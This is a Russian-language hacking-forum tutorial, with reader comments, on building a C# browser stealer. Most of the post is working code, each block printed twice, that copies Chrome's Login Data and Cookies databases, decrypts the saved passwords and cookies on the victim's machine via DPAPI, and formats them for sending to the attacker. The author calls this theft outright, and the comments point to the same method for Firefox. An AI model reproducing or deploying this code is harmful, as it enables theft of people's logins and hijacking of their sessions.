И так, даже не знаю с чего бы и начать... Для начала создадим проект на C#. Заходим в VisualStudio (я использую 2015) Файл -> Создать -> Проект. Там выбираем Visual C# -> Консольное приложение. Подключаем ссылку "System.Security". (Нам понадобиться чтобы расшифровать пароли и куки) Теперь создадим классы для удобного парсинга данных из базы данных. Создаем 1 класс: BrowserStealer.cs (Для методов кражи) Создаем 2 класс: Sqlite.cs (Кликни чтобы скачать. Для работы с базой данных SQLite) Теперь подключим Newtonsoft.Json.dll для работы с json. (Юзаю дллку для удобного перевода куков в json. Хотя можно и без либы) Теперь в классе BrowserStealer.cs создаем метод под каждый из пунктов. И так ёбаный стыд, начнем хакерить! :))))))))))))))))))))))) 1. Будем получать пароли. ------------------------------------------------ Первым делом нам нужно получить путь к папке браузера. (Для примера я возьму Google Chrome) Это путь прямо к файлу где хранятся пароли у браузера. Файл Login Data. string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; Код string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; Теперь нам нужно данную базу скопировать в любую папку. (Например это будет папка TEMP) string filename = Environment.GetEnvironmentVariable("TEMP") + @"\dbPWD.sql"; Код string filename = Environment.GetEnvironmentVariable("TEMP") + @"\dbPWD.sql"; Теперь приступим к основному. if (!File.Exists(path)) return; // Проверяем если-ли база данных по данному пути или нет. (Если нету то: return) else File.Copy(path, filename); // Если все же есть, то копируем файл в нашу папку из переменной "filename". string data = ""; // Переменная в которую мы будет сохранять пароли. // Проверяем данный файл на кол-во строк. (Дабы потом не было исключений которые не заглушишь) if (File.ReadAllLines(filename).Length >= 19) { Sqlite sqlite = new Sqlite(filename); // Подключаемся к базе. sqlite.ReadTable("logins"); // Заходим в таблицу "logins" // Начинаем считывать данные... for (int i = 0; i < sqlite.GetRowCount(); i++) { // Тут ставим try/catch дабы не было ошибок в чтение. try { string url = sqlite.GetValue(i, 0); // ссылка на сайт string login = sqlite.GetValue(i, 3); // Логин от сайта var password = Encoding.ASCII.GetString(System.Security.Cryptography.ProtectedData.Unprotect(Encoding.Default.GetBytes(sqlite.GetValue(i, 5)), null, System.Security.Cryptography.DataProtectionScope.CurrentUser)); // Пароль от сайта. (Тут мы его расшифровываем. Он зашифрован таким образом, чтобы на других компьютерах его невозможно было расшифровать. Но у нас же ******* :), поэтому мы расшифровываем его на компьютере жертвы, а уже после отправляем нам. Поэтому для нас расшифровать это можно.) data += "\n\n\n\n" + string.Format("Сайт: {0}\nЛогин: {1}\nПароль: {2}", url, login, password); // Добавляем в нашу переменную "data" данные от сайтов где сохранен пароль. } catch{} } } File.Delete(filename); // Кража закончена, теперь мы можем удалить скопированный файл. // Выводим данные из нашего метода. return data.Replace("\n", Environment.NewLine); // Заменяем "\n" (переход на новую строку) на спец. символ. Делаем это ради того, чтобы в файле .txt было все правильно. Код if (!File.Exists(path)) return; // Проверяем если-ли база данных по данному пути или нет. (Если нету то: return) else File.Copy(path, filename); // Если все же есть, то копируем файл в нашу папку из переменной "filename". string data = ""; // Переменная в которую мы будет сохранять пароли. // Проверяем данный файл на кол-во строк. (Дабы потом не было исключений которые не заглушишь) if (File.ReadAllLines(filename).Length >= 19) { Sqlite sqlite = new Sqlite(filename); // Подключаемся к базе. sqlite.ReadTable("logins"); // Заходим в таблицу "logins" // Начинаем считывать данные... for (int i = 0; i < sqlite.GetRowCount(); i++) { // Тут ставим try/catch дабы не было ошибок в чтение. try { string url = sqlite.GetValue(i, 0); // ссылка на сайт string login = sqlite.GetValue(i, 3); // Логин от сайта var password = Encoding.ASCII.GetString(System.Security.Cryptography.ProtectedData.Unprotect(Encoding.Default.GetBytes(sqlite.GetValue(i, 5)), null, System.Security.Cryptography.DataProtectionScope.CurrentUser)); // Пароль от сайта. (Тут мы его расшифровываем. Он зашифрован таким образом, чтобы на других компьютерах его невозможно было расшифровать. Но у нас же ******* :), поэтому мы расшифровываем его на компьютере жертвы, а уже после отправляем нам. Поэтому для нас расшифровать это можно.) data += "\n\n\n\n" + string.Format("Сайт: {0}\nЛогин: {1}\nПароль: {2}", url, login, password); // Добавляем в нашу переменную "data" данные от сайтов где сохранен пароль. } catch{} } } File.Delete(filename); // Кража закончена, теперь мы можем удалить скопированный файл. // Выводим данные из нашего метода. return data.Replace("\n", Environment.NewLine); // Заменяем "\n" (переход на новую строку) на спец. символ. Делаем это ради того, чтобы в файле .txt было все правильно. ------------------------------------------------ На этом получение паролей закончено. Теперь переходим к кукам. (Там примерно все тоже самое) 2. Теперь мы будем получать куки и конвертировать их в json. (Чтобы под ними можно было легко заходить в любом браузере через расширение EditThisCookies) ------------------------------------------------ Выше самое основное я описал, поэтому что было там, тут я комментировать не стану. string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies"; // Это путь прямо к файлу где хранятся куки у браузера. Файл Cookies. string filename = Environment.GetEnvironmentVariable("TEMP") + @"\dbcks.sql"; if (!File.Exists(path)) return; else File.Copy(path, filename); string data = ""; if (File.ReadAllLines(filename).Length >= 19) { Sqlite sqlite = new Sqlite(filename); // Подключаемся к базе. sqlite.ReadTable("cookies"); // // Заходим в таблицу "cookies" JObject obj = new JObject(); // Создаем JObject из Newtonsoft. (Это для того чтобы добавлять данные в json) JArray arr = new JArray(); // Создаем JArray из Newtonsoft. (Это нам нужно будет для того чтобы преобразовать json в текст. (И для того чтобы добавлять данные в json)) for (int i = 0; i < sqlite.GetRowCount(); i++) { try { // Добавляем данные из базы в json. obj["domain"] = sqlite.GetValue(i, 1); obj["expirationDate"] = int.Parse(sqlite.GetValue(i, 5)); obj["hostOnly"] = false; obj["httpOnly"] = (sqlite.GetValue(i, 7) == "1" ? true : false); // Тут мы проверяем какое значение там установить. Если там 1 тогда устанавливаем true, если 0 то false. obj["name"] = sqlite.GetValue(i, 2); obj["path"] = sqlite.GetValue(i, 4); obj["sameSite"] = null; obj["secure"] = (sqlite.GetValue(i, 6) == "1" ? true : false); // Тут мы проверяем какое значение там установить. Если там 1 тогда устанавливаем true, если 0 то false. obj["storeId"] = null; obj["id"] = int.Parse(sqlite.GetValue(i, 11)); obj["value"] = Encoding.ASCII.GetString(System.Security.Cryptography.ProtectedData.Unprotect(Encoding.Default.GetBytes(sqlite.GetValue(i, 12)), null, System.Security.Cryptography.DataProtectionScope.CurrentUser)); // Как и с паролями мы расшифровываем данные для входа. arr.Add(obj); // Добавляем данные в json. } catch{} } File.Delete(filename); data = arr.ToString().Trim(); // Преобразовываем json в текст, и добавляем данные в переменную data. (Хотя как с паролями так и с куками я это не рекомендую, ибо если у пользователя этих данных будет много, то программа просто лопнит. Рекомендую сразу как цикл "FOR" завершился, сразу же сохранять в файл.) return data; } Код string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies"; // Это путь прямо к файлу где хранятся куки у браузера. Файл Cookies. string filename = Environment.GetEnvironmentVariable("TEMP") + @"\dbcks.sql"; if (!File.Exists(path)) return; else File.Copy(path, filename); string data = ""; if (File.ReadAllLines(filename).Length >= 19) { Sqlite sqlite = new Sqlite(filename); // Подключаемся к базе. sqlite.ReadTable("cookies"); // // Заходим в таблицу "cookies" JObject obj = new JObject(); // Создаем JObject из Newtonsoft. (Это для того чтобы добавлять данные в json) JArray arr = new JArray(); // Создаем JArray из Newtonsoft. (Это нам нужно будет для того чтобы преобразовать json в текст. (И для того чтобы добавлять данные в json)) for (int i = 0; i < sqlite.GetRowCount(); i++) { try { // Добавляем данные из базы в json. obj["domain"] = sqlite.GetValue(i, 1); obj["expirationDate"] = int.Parse(sqlite.GetValue(i, 5)); obj["hostOnly"] = false; obj["httpOnly"] = (sqlite.GetValue(i, 7) == "1" ? true : false); // Тут мы проверяем какое значение там установить. Если там 1 тогда устанавливаем true, если 0 то false. obj["name"] = sqlite.GetValue(i, 2); obj["path"] = sqlite.GetValue(i, 4); obj["sameSite"] = null; obj["secure"] = (sqlite.GetValue(i, 6) == "1" ? true : false); // Тут мы проверяем какое значение там установить. Если там 1 тогда устанавливаем true, если 0 то false. obj["storeId"] = null; obj["id"] = int.Parse(sqlite.GetValue(i, 11)); obj["value"] = Encoding.ASCII.GetString(System.Security.Cryptography.ProtectedData.Unprotect(Encoding.Default.GetBytes(sqlite.GetValue(i, 12)), null, System.Security.Cryptography.DataProtectionScope.CurrentUser)); // Как и с паролями мы расшифровываем данные для входа. arr.Add(obj); // Добавляем данные в json. } catch{} } File.Delete(filename); data = arr.ToString().Trim(); // Преобразовываем json в текст, и добавляем данные в переменную data. (Хотя как с паролями так и с куками я это не рекомендую, ибо если у пользователя этих данных будет много, то программа просто лопнит. Рекомендую сразу как цикл "FOR" завершился, сразу же сохранять в файл.) return data; } ------------------------------------------------ Теперь осталось лишь вызвать 2-е эти функции в методе main и сохранить данные которые они выводят в файл. Вроде бы на этом все. Если будут проблемы пишите в комментарии. (На тупые вопросы такие как: Куда это вставлять, как создать методы, как создать классы и подобные не отвечаю) Всем спасибо! :)
Я хотел бы все это еще подробней и детальней разобрать, но это займет кучу времени. Поэтому попытался объяснить все самое основное. Эта статья даже не для новичков а для тех людей, которые знакомы с основами C#. (Методы, переменные и т.д)
anefe, ну я тебя и спрашиваю где они кто знает? Ты зайди в ту тему и посмотри - 0 пользователей за месяц.
anefe, Может мне еще и ******* свой приватный слить с сурсами?. По такому же алгоритму и от firefox воруй. Там лишь расшифровка немного другая. И позиция столбцов.
anefe, Все темы которые недавно были созданы по созданию *******ов убогие и отсталые. Почти все *******ы тему где писали о том, как написать *******, работали по такому принципу: Берут копируют файл Login Data и Cookies и отправляют на почту. ЗАЕБИСЬ СУКА *******!
MrQout, я посмотрел и увидел, что действительно, куча тем с отправлением не расшифрованных паролей Хоть я и нашёл тему, но беру слова обратно. Многим пригодиться
anefe, по данной теме могу сказать лишь -- Слишком огромный БЫДЛОКОД. Так-же не описаны детали работы. Лишь готовый быдлокод и не более. В моем же я постарался описать каждую строчку кода, и кода у меня намного меньше. Ну сейчас ты скажешь мол -- там несколько браузеров и все такое, но я скажу -- НИХУЯ ПОДОБНОГО, все что там я могу раза 2-3 меньше сделать. Зачем он под каждый браузер создает условие и ручками их перебирает? (БРЕД). Все это можно было сделать в 1 цикл.
alekseevsky, я же отписал в теме почему я её юзаю. Читать умеем? :) --- Сообщение объединено с предыдущим 12 июл 2019 alekseevsky, с ней удобней новичкам код читать. А то ты хочешь чтобы было (((())))))))))))))))))))))))) много?